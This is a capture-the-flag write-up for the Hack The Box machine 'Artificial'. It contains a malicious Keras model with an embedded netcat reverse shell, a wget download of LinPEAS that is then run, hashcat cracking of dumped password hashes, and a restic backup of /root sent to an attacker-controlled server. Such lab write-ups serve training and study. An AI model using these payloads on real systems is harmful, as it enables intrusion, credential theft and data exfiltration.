HTB Artificial Writeup

Sep 20, 2025 • hackthebox, walkthrough, writeup

Nmap

# Nmap 7.94SVN scan initiated Fri Sep 19 12:00:34 2025 as: nmap -sC -sV -oA initial.txt artificial.htb
Nmap scan report for artificial.htb (10.129.232.51)
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add host entry

sudo nano /etc/hosts
# add:
10.129.232.51 artificial.htb

Initial Foothold (TensorFlow RCE)

The dashboard after login allowed model uploads and provided a Dockerfile/requirements. These showed TensorFlow 2.13.1 on Python 3.8. A PoC was available: https://github.com/Splinter0/tensorflow-rce

Build the payload inside the container (to avoid TensorFlow version mismatches):

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 4444 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Upload exploit.h5 to dashboard.
Start listener on your attacker machine:

nc -lvnp 4444

Click View Predictions → got reverse shell as app.


Enumeration

Upgrade shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Host HTTP server for LinPEAS:

# Attacker
python3 -m http.server 8000

# Target
cd /tmp
wget http://10.10.14.213:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Discovered SQLite DB:

/home/app/app/instance/users.db

SQLite Dump

sqlite3 /home/app/app/instance/users.db
sqlite> .tables
model  user
sqlite> SELECT id, username, email, password FROM user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|test|test@example.com|0192023a7bbd73250516f069df18b500

Cracked with hashcat:

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

Result (example):

gael : mattp005numbertwo

SSH as Gael:

ssh gael@artificial.htb
# Password: mattp005numbertwo

cat user.txt → user flag: 69f59b...


Privilege Escalation (Backrest)

Backrest service found at /opt/backrest. Config contained bcrypt hash:

"users": [
  {
    "name": "backrest_root",
    "passwordBcrypt": "$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/..."
  }
]

Cracked with:

hashcat -m 3200 bcrypt.hash /usr/share/wordlists/rockyou.txt

Result:

backrest_root : !@#$%^

Pivot into Backrest

Port-forward from attacker to target:

ssh -L 9898:127.0.0.1:9898 gael@artificial.htb

Browse http://localhost:9898 → login as backrest_root : !@#$%^.


Abusing Backrest + Restic

Run local rest-server (attacker):

# requires Go; installs rest-server binary to $GOPATH/bin
go install github.com/restic/rest-server/cmd/rest-server@latest
export PATH=$PATH:$(go env GOPATH)/bin
rest-server --path /tmp/restic-data --listen :12345 --no-auth

On target, point restic to attacker (example):

restic -r rest:http://10.10.14.213:12345/repo1 init
restic -r rest:http://10.10.14.213:12345/repo1 backup /root

On attacker, dump snapshot:

ls /tmp/restic-data/repo1/snapshots
restic -r /tmp/restic-data/repo1 restore <snapshot-id> --target ./restore
cat ./restore/root/root.txt

Root flag: bfc9a8...


Summary

  1. TensorFlow model upload → crafted malicious .h5 → shell as app.
  2. SQLite users.db → cracked Gael’s MD5 → SSH as gael.
  3. Found Backrest config → cracked bcrypt hash → admin login.
  4. Abused Backrest with restic → backed up /root → root flag.

← Back to blog